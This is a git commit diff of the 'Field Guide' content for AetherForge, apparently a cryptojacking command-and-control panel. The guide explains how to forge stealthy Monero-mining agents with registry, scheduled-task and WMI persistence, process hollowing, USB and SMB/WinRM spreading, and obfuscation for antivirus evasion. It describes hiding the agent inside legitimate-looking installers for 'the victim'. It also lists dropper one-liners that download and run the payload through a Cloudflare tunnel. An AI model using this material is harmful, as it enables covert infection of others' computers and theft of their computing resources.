feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel

Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
This commit is contained in:
AetherForge
2026-05-30 22:38:48 -07:00
parent e6b8d84edf
commit 9232f4c448
45 changed files with 4222 additions and 406 deletions

View File

@@ -1,4 +1,4 @@
/** Structured content for the visual Guide / Cheat Sheet page. */
/** Structured content for the Field Guide page — updated to match current AetherForge feature set. */
export interface CheatStep {
id: string;
@@ -9,6 +9,7 @@ export interface CheatStep {
route?: string;
routeLabel?: string;
tips?: string[];
code?: string; // inline example command / snippet
}
export interface CheatSection {
@@ -19,177 +20,437 @@ export interface CheatSection {
cards?: { title: string; body: string; accent?: string }[];
}
// ─── Main pipeline ────────────────────────────────────────────────────────────
export const PIPELINE_STEPS: CheatStep[] = [
{
id: 'calibrate',
title: 'Calibrate',
subtitle: 'Server hub',
subtitle: 'One-time server setup',
icon: '⚙',
body: 'Set listen port, data folder, fleet alerts, pool/wallet defaults for new Forge forms, and server limits. Does not change already-forged miners.',
body: 'Set the listen port, data folder, fleet alert thresholds, default pool/wallet hints for new Forge forms, and global server limits. Changes here never touch already-forged agents — they are baked at Forge time.',
route: '/settings',
routeLabel: 'Open Calibrate',
tips: ['One-time server setup', 'Public LAN URL helps Forge quick-pick chips'],
tips: [
'Port default is 8080 — change if conflicting',
'Leave Public URL blank when behind Cloudflare (server binds 0.0.0.0:PORT, CF handles external)',
'Set a default wallet address here so every new Forge form pre-fills it',
'Build retention: how many days old builds stay on disk before auto-purge',
],
},
{
id: 'forge',
title: 'Forge',
subtitle: 'Per-miner config',
subtitle: 'Build a worker binary',
icon: '⚒',
body: 'Calibrate every worker here — wallet, pool, threads, install path, stealth, Fusion, AI. All baked into the .exe + uninstall script.',
body: 'Every setting is compiled directly into the agent .exe — nothing is fetched at runtime. Fill in your C2 URL (e.g. your Cloudflare tunnel), wallet, pool, stealth mode, persistence, and hit FORGE INSTALLER.',
route: '/forge',
routeLabel: 'Open Forge',
tips: ['Green badge = baked into installer', 'Preflight must pass before forge'],
tips: [
'C2 URL example: https://your-tunnel.trycloudflare.com (no trailing slash)',
'For LAN-only: http://192.168.1.50:8080',
'Preflight must be all-green (✓) or yellow (!) to forge — red (✕) blocks it',
'Save a Blueprint after tuning so you can one-click re-forge the same config later',
'Fusion: wrap the agent inside a legit-looking prep.exe so it looks like your real app',
],
},
{
id: 'deploy',
title: 'Deploy',
subtitle: 'Copy & run once',
icon: '📦',
body: 'Copy install-*.exe (or fused prep.exe) to each Windows machine. Double-click once — it embeds, persists, and connects back.',
tips: ['Keep uninstall-*.ps1 next to the exe', 'Use LAN IP in server URL, not localhost'],
id: 'buildmgr',
title: 'Build Manager',
subtitle: 'Manage forged binaries',
icon: '📋',
body: 'Every build you forge is listed here with its baked settings (C2, wallet, pool, platform). Download any build, grab dropper one-liners, copy to any machine. Pin one build to make the dropper commands always serve it.',
route: '/builds',
routeLabel: 'Build Manager',
tips: [
'Pin a build → dropper one-liners always serve that exact binary',
'Unpinned: dropper serves the most-recently-forged build',
'Each card shows wallet (truncated), pool, thread count, and file size',
'Re-forge button pre-fills Forge with that build\'s exact baked settings',
'Delete removes the DB record (archive file stays on server disk)',
],
},
{
id: 'drop',
title: 'Drop',
subtitle: 'One-liner remote install',
icon: '📡',
body: 'Send a single command to any PC and it silently downloads + runs the pinned build. The dropper auto-detects OS from User-Agent. Terminal closes automatically after launch.',
tips: [
'Windows (PowerShell): iex (irm \'https://your-tunnel.trycloudflare.com/install.ps1\')',
'Linux/Mac (bash): curl -sL https://your-tunnel.trycloudflare.com/install.sh | bash',
'Direct download: https://your-tunnel.trycloudflare.com/get?os=windows',
'Endpoints /get, /install.sh, /install.ps1 are unauthenticated — URL knowledge is the gate',
'Pin the correct build in Build Manager before sending the one-liner',
],
code: `iex (irm 'https://YOUR-TUNNEL.trycloudflare.com/install.ps1')`,
},
{
id: 'connect',
title: 'Connect',
subtitle: 'WebSocket auth',
icon: '📡',
body: 'Worker reaches your control server, sends forged wallet/pool/AI config, appears on Command Deck and Fleet Roster.',
subtitle: 'Agent phones home',
icon: '🔗',
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Fleet Roster within seconds.',
route: '/agents',
routeLabel: 'Fleet Roster',
tips: ['Signal Locked = dashboard live', 'Worker name from Forge shows in roster'],
tips: [
'Status dot: green = online now, grey = last seen X ago',
'If agent never appears: check C2 URL is reachable from the target machine',
'Cloudflare tunnel on a different machine is fine — agent connects to the tunnel URL',
'Worker name you set in Forge shows as the agent name in the roster',
],
},
{
id: 'mine',
title: 'Mine',
subtitle: 'RandomX + pool',
subtitle: 'Stratum → pool → shares',
icon: '⛏',
body: 'Server opens Stratum to your forged pool. Jobs broadcast to agents. Shares validated against pool before accept rate updates.',
body: 'The C2 server maintains a Stratum connection to each unique pool+wallet combination that has been forged. Jobs are broadcast to matching agents over WebSocket. Accepted/rejected shares track against the pool directly.',
route: '/dashboard',
routeLabel: 'Command Deck',
tips: ['Hashrate wave chart = fleet total', 'Share log updates live'],
tips: [
'Command Deck shows total fleet hashrate as a live wave chart',
'Pool status panel shows each pool\'s Stratum connection health (green/yellow/red)',
'Accept rate below ~95% usually means wrong wallet or pool TLS mismatch',
'Hashrate updates every 15 seconds from each agent heartbeat',
],
},
];
// ─── Forge vs Calibrate ────────────────────────────────────────────────────────
export const FORGE_VS_CALIBRATE = {
forge: {
title: 'Forge — per miner',
title: 'Forge — baked into each binary',
items: [
'Worker name & server URL',
'Wallet & pool (host, port, TLS)',
'Threads, CPU/RAM limits, schedule',
'Install path, stealth, persistence, firewall rules',
'Fusion prep bundling',
'AI Autonomy toggle + Ollama model',
'C2 server URL (e.g. Cloudflare tunnel)',
'Wallet address & payment ID',
'Pool host, port, TLS on/off, pool password',
'Worker name (shows in Fleet Roster)',
'Thread count + thread mode (fixed / percent / adapt)',
'CPU/RAM usage caps & idle detection',
'Mining schedule (start/end time window)',
'Install base path + relative subfolder',
'Stealth mode (hidden process, no console)',
'Persistence (registry + scheduled task + WMI)',
'Windows Firewall allow rules',
'Self-healing (watchdog re-installs if killed)',
'USB propagation + share/WinRM spread',
'Process hollowing + display name disguise',
'Fusion (wrap inside a prep.exe or media file)',
'AI Autonomy (Ollama model, endpoint)',
'Backup C2s and backup pools',
],
},
calibrate: {
title: 'Calibrate — control server',
title: 'Calibrate — control server only',
items: [
'Listen port & data directory',
'Dashboard subtitle',
'Fleet alert thresholds + notifications',
'Default pool/wallet for new Forge forms',
'Stats & build retention, max agents/build size',
'WebSocket ping, pool reconnect, logging toggles',
'Listen port (default 8080)',
'Data directory path',
'Dashboard subtitle (cosmetic)',
'Default pool/wallet shown in new Forge forms',
'Fleet alert thresholds + Telegram/email notify',
'Max agents / max build size limits',
'Stats & build retention periods',
'WebSocket ping & pool reconnect intervals',
'Logging toggles (connections, shares, pool traffic)',
'Open control-server port in Windows Firewall',
'Build signing (Authenticode cert thumbprint)',
'Garble obfuscation default on/off',
],
},
};
// ─── Network / Cloudflare topology ────────────────────────────────────────────
export const NETWORK_GUIDE: CheatStep[] = [
{
id: 'n1',
title: 'Portable self-configuring tunnel',
subtitle: 'Bundled into LAUNCH.bat',
icon: '🚀',
body: 'LAUNCH.bat detects and auto-installs cloudflared from the bundled MSI, writes a fresh config.yml every boot (handles drive-letter changes), stages credentials to the local machine, then starts the tunnel. Fully portable — plug into any machine and the tunnel comes up automatically.',
tips: [
'One-time setup only: see cloudflare/SETUP.txt to create your tunnel and export credentials',
'After setup: drop credentials.json in the cloudflare/ folder — everything else is automatic',
'Same machine: reuses existing credentials and skips re-copy (idempotent)',
'cloudflared always connects to 127.0.0.1:8989 (localhost) — no IP detection needed',
'On exit: LAUNCH.bat kills the cloudflared process cleanly',
],
},
{
id: 'n2',
title: 'C2 server binding',
subtitle: '0.0.0.0:8989',
icon: '🖥',
body: 'AetherForge binds to all interfaces on port 8989. It does not know or care about Cloudflare — cloudflared connects to it at 127.0.0.1:8989. The server never needs to be publicly exposed directly.',
tips: [
'Leave Public URL blank in Calibrate — not needed',
'Dashboard LAN access: http://<lan-ip>:8989',
'Dashboard public access: https://killa.thetempleofdoom.com (via tunnel)',
'LAN and tunnel both work simultaneously',
],
},
{
id: 'n3',
title: 'Named tunnel — permanent hostname',
subtitle: 'killa.thetempleofdoom.com',
icon: '☁',
body: 'The tunnel is a named Cloudflare tunnel (not a quick/temporary tunnel). The subdomain killa.thetempleofdoom.com is a CNAME to your fixed tunnel ID — it never changes regardless of which machine you run from.',
tips: [
'Tunnel credentials JSON = portable "license" for the tunnel',
'Any machine with that JSON + cloudflared can run the tunnel',
'DNS CNAME: killa → <tunnel-id>.cfargotunnel.com (set once in CF DNS)',
'Tunnel ID is in the credentials.json — LAUNCH.bat parses it automatically',
],
code: `# One-time setup (run once on any machine):
cloudflared tunnel login
cloudflared tunnel create aetherforge-c2
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
# Then copy credentials to USB:
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json`,
},
{
id: 'n4',
title: 'Forge C2 URL',
subtitle: 'Bake the permanent hostname',
icon: '🔗',
body: 'Set Control Endpoint in Forge to your permanent Cloudflare hostname. Baked into every agent — they connect from any network, any country, through the tunnel to your C2.',
tips: [
'Control Endpoint: https://killa.thetempleofdoom.com',
'No port, no trailing slash',
'Backup C2 field: add http://192.168.x.x:8989 as LAN fallback',
'Agents try all C2s in order if one is unreachable',
],
code: `Control Endpoint: https://killa.thetempleofdoom.com
Backup C2 (optional): http://192.168.1.50:8989`,
},
{
id: 'n5',
title: 'Dropper one-liners',
subtitle: 'Permanent URLs — no more temp tunnels',
icon: '💧',
body: 'With a named tunnel and permanent hostname, your dropper one-liners never change. Pin a build in Build Manager then send one of these to any machine.',
tips: [
'The PS1 dropper is fully silent — downloads, runs agent hidden, closes terminal',
'/get?os=windows — direct binary, auto-detected OS if no ?os= param',
'Endpoints are unauthenticated — the URL is the gate',
'Dashboard requires login — dropper does not',
],
code: `# Windows (any PowerShell):
iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
# Linux / macOS:
curl -sL https://killa.thetempleofdoom.com/install.sh | bash
# Direct binary:
https://killa.thetempleofdoom.com/get`,
},
];
// ─── Fusion workflow ───────────────────────────────────────────────────────────
export const FUSION_GUIDE: CheatStep[] = [
{
id: 'f1',
title: 'Build worker config',
subtitle: 'Forge tab',
title: 'Configure the worker first',
subtitle: 'Forge tab — all settings',
icon: '1',
body: 'Set all miner options first — Fusion wraps the same smart agent inside your prep app.',
body: 'Fill in all your Forge settings (C2 URL, wallet, pool, stealth, persistence, etc.) before enabling Fusion. The same agent is just wrapped inside your prep file.',
tips: ['Stealth + persistence recommended for Fusion builds', 'Garble obfuscation helps AV evasion'],
},
{
id: 'f2',
title: 'Enable Fusion',
subtitle: 'Upload prep.exe',
title: 'Enable Fusion + upload prep',
subtitle: 'Toggle → upload → pick order',
icon: '2',
body: 'Toggle Fusion, upload your prep.exe, pick run order (parallel / prep first / worker first).',
body: 'Toggle Fusion on, upload your prep.exe (the legit-looking app — installer, game launcher, PDF reader, etc.). Pick run order: Parallel (both launch), Prep First (prep runs, then agent), or Worker First.',
tips: [
'Prep can be any Windows .exe — it keeps its icon, version strings, file description',
'Parallel = no delay for the victim (best UX)',
'The output file is named after your prep.exe',
],
},
{
id: 'f3',
title: 'Forge fused output',
subtitle: 'One file',
title: 'Forge fused output',
subtitle: 'One file, both payloads',
icon: '3',
body: 'Output is prep.exe (or custom name) containing your app + hidden worker. Uninstall script generated alongside.',
body: 'The output is a single .exe that looks exactly like your prep app. When run: prep app launches visibly, agent installs silently in background. Uninstall script is generated alongside.',
tips: [
'File size = prep + agent overhead',
'Signed prep.exe transfers its signature to the output (if signing enabled)',
'Fusion export folder in Build Manager shows all deliverables',
],
code: `Result: prep_app_name.exe (contains hidden agent)
uninstall-worker-name.ps1`,
},
{
id: 'f4',
title: 'Media Fusion (batch)',
subtitle: 'Multiple titles at once',
icon: '4',
body: 'Upload multiple prep files — each gets its own fused output with the same embedded agent. Great for generating a library of different-looking "installers" that all call home to the same C2.',
tips: [
'Each output has a unique name matching its prep.exe',
'All connect to the same C2 — manage via Build Manager',
'Download individual files or as a ZIP bundle',
],
},
];
// ─── AI Autonomy ───────────────────────────────────────────────────────────────
export const AI_GUIDE: CheatStep[] = [
{
id: 'a1',
title: 'Install Ollama',
subtitle: 'Control PC',
subtitle: 'On the C2 machine',
icon: '🤖',
body: 'Ollama runs on the machine hosting miner-server — not on workers. Default: http://localhost:11434',
body: 'Ollama must run on the same machine as AetherForge (or be reachable from it). It does NOT run on worker machines — the worker just asks the C2 server for decisions.',
tips: [
'Install: https://ollama.ai',
'Pull a model: ollama pull llama3.2',
'Default endpoint: http://localhost:11434',
'Test: curl http://localhost:11434/api/tags',
],
code: `ollama pull llama3.2
ollama run llama3.2`,
},
{
id: 'a2',
title: 'Enable on Forge',
subtitle: 'AI Autonomy',
title: 'Enable in Forge',
subtitle: 'AI Autonomy section',
icon: '⚡',
body: 'Toggle AI Autonomy, set model (e.g. llama3.2). Re-forge to change after deploy.',
body: 'Toggle AI Autonomy on, set the Ollama model name (e.g. llama3.2), confirm the Ollama URL. Re-forge after changing — it\'s baked into the binary. Best combined with Self-healing.',
tips: [
'Model name must match exactly what Ollama has pulled',
'Larger models (llama3.1:70b) reason better but are slower',
'Self-healing + AI = agent repairs itself AND adapts behavior',
],
},
{
id: 'a3',
title: 'Agent loop',
subtitle: 'Every ~60s',
title: 'Agent autonomy loop',
subtitle: 'Every ~60 seconds',
icon: '🔄',
body: 'Forged worker asks server /decide → Ollama → tool calls (self-heal, persistence check). Best with Self-healing on.',
body: 'Forged worker periodically calls C2 /agent/decide → C2 sends context to Ollama → Ollama returns tool calls → agent executes (adjust threads, self-heal, check persistence, adapt to hardware). All logged to /agent/report.',
tips: [
'AI activity visible on Command Deck → AI Activity section',
'Adapt To Hardware: agent auto-tunes thread count based on CPU load',
'If Ollama is down, agent falls back to static config — nothing breaks',
],
},
];
// ─── Troubleshooting ───────────────────────────────────────────────────────────
export const TROUBLESHOOTING = [
{ problem: 'Agent never appears', fix: 'Server URL must be LAN IP (192.168.x.x), not localhost. Enable Calibrate → open firewall port, and Forge → firewall exclusion on workers. Router must allow LAN→LAN traffic.' },
{ problem: 'Firewall blocked miner', fix: 'Re-forge with Windows Firewall allow rules enabled, run installer once as Administrator, or manually allow the installed .exe in Windows Security → Firewall.' },
{ problem: '0 hashrate', fix: 'Pool must be reachable from control server. Check pool host/TLS/port in Forge match your pool docs.' },
{ problem: 'Forge blocked', fix: 'Read preflight ✕ errors. Common: missing wallet, localhost URL, Fusion without prep.exe, AI without Ollama URL.' },
{ problem: 'Shares all rejected', fix: 'Wallet address invalid or pool down. Accept rate waits for real pool validation now.' },
{ problem: 'Can\'t remove miner', fix: 'Run uninstall-*.ps1 from the same forge output folder as the installer — as the same Windows user.' },
{ problem: 'AI not doing anything', fix: 'Re-forge with AI on. Ollama must run on control PC. Check server logs for /agent/decide.' },
{
problem: 'Agent never appears in Fleet Roster',
fix: 'The C2 URL baked into the agent must be reachable from the target machine. If using Cloudflare tunnel: tunnel must be running on its machine and pointing at your C2 LAN IP. Test: open https://your-tunnel.trycloudflare.com in a browser on the target machine — you should see the dashboard login.',
},
{
problem: 'Forge blocked — server_url error',
fix: 'Do NOT use localhost or 127.0.0.1 as the C2 URL (worker cannot reach those). Use your LAN IP (192.168.x.x:PORT) or your Cloudflare tunnel URL. The port appends automatically for LAN IPs — use the tunnel URL to avoid that.',
},
{
problem: '0 hashrate / shares never appear',
fix: 'Pool must be reachable from the C2 server machine (not the agent). Check Forge settings: pool host, port, TLS match your pool\'s docs. Example for SupportXMR: pool.supportxmr.com:443 with TLS on. Try telnet pool.supportxmr.com 443 from your C2 machine.',
},
{
problem: 'Shares all rejected',
fix: 'Wallet address is invalid or wrong for the pool. Monero wallet addresses are 95 chars starting with 4. Some pools require exact format — check your pool dashboard. Accept rate updates live once real shares come in.',
},
{
problem: 'Preflight ✕ blocking forge',
fix: 'Read the exact error — common ones: no wallet address, localhost C2 URL, Fusion toggled without prep.exe uploaded, AI enabled without Ollama URL, conflicting thread/CPU settings. Fix each red item before forging.',
},
{
problem: 'Agent installs but goes offline immediately',
fix: 'Self-healing + persistence are key. If the process is killed and those are off, agent exits permanently. Re-forge with Persistence (registry + scheduled task) and Self-healing on. Also check AV/Defender — add Firewall Exclusion in Forge.',
},
{
problem: 'Can\'t remove the miner',
fix: 'Run uninstall-workername.ps1 as Administrator in PowerShell. It removes registry keys, scheduled tasks, WMI triggers, and the installed binary. If that fails: Task Manager → End the process name you set in Forge, then delete manually from the install path.',
},
{
problem: 'PS1 dropper does nothing / errors',
fix: 'Open PowerShell as Admin. Run: Set-ExecutionPolicy Bypass -Scope Process then retry iex (irm \'...\'. Also ensure your Cloudflare tunnel is running and the pinned build exists in Build Manager.',
},
{
problem: 'Forge hangs / Kill Build button',
fix: 'Go compiler can hang if garble obfuscation is on and GOPATH has stale cache. Click "Kill Build", disable garble temporarily, forge again. Also check agent source is present — LAUNCH.bat installs it automatically.',
},
{
problem: 'AI not making any decisions',
fix: 'Check: 1) AI Autonomy was enabled before this forge (it\'s baked in), 2) Ollama is running on the C2 machine (curl http://localhost:11434/api/tags should return JSON), 3) model name in Forge matches pulled model exactly. Server logs show /agent/decide calls.',
},
{
problem: 'Dashboard shows wrong hashrate',
fix: 'Hashrate is reported by agents every 15s. If an agent has been offline and came back, wait one update cycle. The 15m hashrate smooths over short gaps. Fleet total = sum of all online agents.',
},
{
problem: 'Build Manager shows no builds',
fix: 'Builds are stored in the data/builds folder on the C2 server. If running from USB and data dir is relative — check LAUNCH.bat sets the data dir to a persistent location, not a temp folder.',
},
];
/** Shipped vs planned — shown on Guide page. */
// ─── Roadmap ───────────────────────────────────────────────────────────────────
export const ROADMAP_FEATURES = [
{ priority: 'high', title: 'Fleet alerts (live)', desc: 'Calibrate thresholds → dashboard banners + optional Telegram/email.' },
{ priority: 'high', title: 'Pool status panel', desc: 'Per-forged-pool Stratum health on Command Deck.' },
{ priority: 'high', title: 'AI activity monitor', desc: 'Ollama decide cycles and tool calls per agent.' },
{ priority: 'medium', title: 'Remote agent actions', desc: 'Pause, restart, stop, uninstall, log tail from dashboard.' },
{ priority: 'medium', title: 'Earnings estimator', desc: 'Fleet hashrate → estimated XMR/day.' },
{ priority: 'medium', title: 'Build manager', desc: 'Blueprint diff, re-forge, LAN QR downloads on Forge.' },
{ priority: 'low', title: 'Dashboard auth', desc: 'Password or API token for LAN-wide command deck access.' },
{ priority: 'low', title: 'LAN topology map', desc: 'Visual agent map by IP/subnet with fleet tags.' },
{ priority: 'low', title: 'PWA / mobile deck', desc: 'Phone-friendly Command Deck layout.' },
// Shipped
{ priority: 'high', title: 'Fleet alerts (live)', desc: 'Calibrate thresholds → dashboard banners + Telegram/email.' },
{ priority: 'high', title: 'Pool status panel', desc: 'Per-forged-pool Stratum health live on Command Deck.' },
{ priority: 'high', title: 'AI Autonomy (Ollama)', desc: 'Decide loop with tool calls, self-heal, adapt-to-hardware.' },
{ priority: 'high', title: 'Remote agent actions', desc: 'Pause, restart, stop, uninstall, log tail from dashboard.' },
{ priority: 'high', title: 'Earnings estimator', desc: 'Fleet hashrate → estimated XMR/day + live price.' },
{ priority: 'high', title: 'Build Manager full page', desc: 'All builds with settings, downloads, dropper one-liners, QR, pin to dropper.' },
{ priority: 'high', title: 'Dropper endpoints', desc: '/get /install.ps1 /install.sh — one-liner remote deploy, auto-OS detect.' },
{ priority: 'high', title: 'Dropper pin', desc: 'Pin any build as active dropper target from Build Manager.' },
{ priority: 'high', title: 'Dashboard auth', desc: 'bcrypt user/password, per-session cache, rotate fleet secret.' },
{ priority: 'high', title: 'Fusion (media/prep wrap)', desc: 'Wrap agent inside any .exe, batch mode for multiple titles.' },
{ priority: 'high', title: 'Blueprints', desc: 'Save/load named Forge configs for quick re-forge.' },
{ priority: 'high', title: 'USB Spread + Share Drop', desc: 'Auto-copy to USB drives, WinRM/SMB network spread.' },
{ priority: 'high', title: 'Sacred geometry UI', desc: 'Animated ambient Flower of Life + flame logo throughout.' },
{ priority: 'medium', title: 'LAN topology map', desc: 'Visual agent map by IP/subnet with fleet tags.' },
{ priority: 'medium', title: 'PWA / mobile deck', desc: 'Phone-friendly Command Deck layout.' },
{ priority: 'low', title: 'Multi-wallet pools', desc: 'Round-robin wallet rotation per agent.' },
{ priority: 'low', title: 'Agent mesh P2P', desc: 'Agents relay commands peer-to-peer if C2 unreachable.' },
];
// ─── Section registry (used by GuidePage) ─────────────────────────────────────
export const CHEAT_SECTIONS: CheatSection[] = [
{
id: 'pipeline',
title: 'End-to-end pipeline',
description: 'How data flows from your control PC to the pool.',
description: 'How data flows from your control PC to the pool — six stages from first boot to live hashrate.',
steps: PIPELINE_STEPS,
},
{
id: 'network',
title: 'Network topology — Cloudflare tunnel setup',
description: 'AetherForge binds to 0.0.0.0:PORT. Cloudflare Tunnel runs on a separate machine and makes it reachable from anywhere — no port forwarding, no static IP.',
steps: NETWORK_GUIDE,
},
{
id: 'fusion',
title: 'Fusion workflow',
description: 'Bundle your prep app with the smart miner agent.',
description: 'Bundle the smart agent inside any .exe so it looks like your legitimate prep app. One file, two payloads.',
steps: FUSION_GUIDE,
},
{
id: 'ai',
title: 'AI Autonomy workflow',
description: 'Self-healing via Ollama on the control server.',
description: 'Agents make adaptive decisions via Ollama running on the C2 machine — self-healing, thread tuning, persistence checks.',
steps: AI_GUIDE,
},
{
id: 'troubleshoot',
title: 'Troubleshooting',
description: 'Common fixes when something looks wrong.',
description: 'Common symptoms and their exact fixes.',
cards: TROUBLESHOOTING.map((t) => ({ title: t.problem, body: t.fix, accent: 'amber' })),
},
];

View File

@@ -29,11 +29,22 @@ function isGoodServerUrl(url: string): boolean {
}
}
/** Pick the best control-server URL for workers on the LAN. */
/** Pick the best control-server URL for workers on the LAN.
* Only substitutes a candidate when the current value is empty or localhost —
* never overwrites a user-entered URL (LAN IP, tunnel, or public domain). */
export function pickBestServerUrl(current: string, candidates: string[]): string {
if (current?.trim() && isGoodServerUrl(current)) return current.trim();
const trimmed = current?.trim() ?? '';
// Keep whatever the user typed unless it's empty or a localhost placeholder
if (trimmed) {
try {
const h = new URL(trimmed).hostname.toLowerCase();
if (h !== 'localhost' && h !== '127.0.0.1' && h !== '::1') return trimmed;
} catch {
// not a valid URL yet — fall through to candidates
}
}
const first = candidates.find(isGoodServerUrl);
return first || current?.trim() || '';
return first || trimmed || '';
}
/** Home-LAN fleet preset — unobtrusive, persistent, no dangerous extras. */